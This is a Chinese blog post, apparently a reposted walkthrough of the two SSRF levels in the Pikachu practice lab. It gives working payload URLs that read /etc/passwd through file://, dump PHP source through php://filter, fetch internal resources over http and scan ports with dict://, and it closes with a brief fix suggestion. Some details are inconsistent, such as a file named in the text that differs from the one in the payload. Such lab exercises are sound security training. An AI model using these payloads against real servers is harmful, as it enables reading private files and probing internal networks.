您的位置:首页 > 房产 > 家装 > pikachu SSRF通关(服务器端请求伪造)

pikachu SSRF通关(服务器端请求伪造)

2024/10/6 2:32:14 来源:https://blog.csdn.net/2301_77012231/article/details/141419292  浏览:    关键词:pikachu SSRF通关(服务器端请求伪造)

开始闯关吧

一共有两关

第1关 SSRF(curl)

按照指示点击下图蓝色字体的链接

得到了下图地址栏里的带参数的url,参数名是url,

 PHP的curl

PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。

libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。

PHP中使用cURL实现Get和Post请求的方法

这些函数在PHP 4.0.2中被引入。

1、file协议查看本地文件

先来看个比较熟悉的协议。file协议可以查看本地文件。

输入payload:http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

可以查看文件/etc/passwd的内容

第2关 SSRF(file_get_content)

2、php://filter/读php源代码

php伪协议中有个读php源代码的php://filter/,来试试这个好不好使。比如我想看rce.php的源代码,就输入payload:http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../uploads/md.php

网页上就输出base64编码的rce.php的源代码了

网页上就输出base64编码的upload.php的源代码了 

复制出来之后在网上解码

3、http协议请求内网资源

浏览器输入payload:http://117.72.71.59:9001/vul/ssrf/ssrf_fgc.php?file=http://117.72.71.59:9001/vul/sqli/hack.txt

就成功读取到hack.txt的内容啦

4、ftp协议查看内网ftp服务器上的文件 

试了下ftp,没有成功

payload是:
 

5、dict协议扫描内网主机开放端口

使用dict协议可以获取内网主机开放端口相应服务的指纹信息,比如内网主机192.168.101.14上开了ftp服务的话,就可以通过payload:http://117.72.71.59:9001/vul/ssrf/ssrf_curl.php?url=dict://117.72.71.59:9001

SSRF修复建议

如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com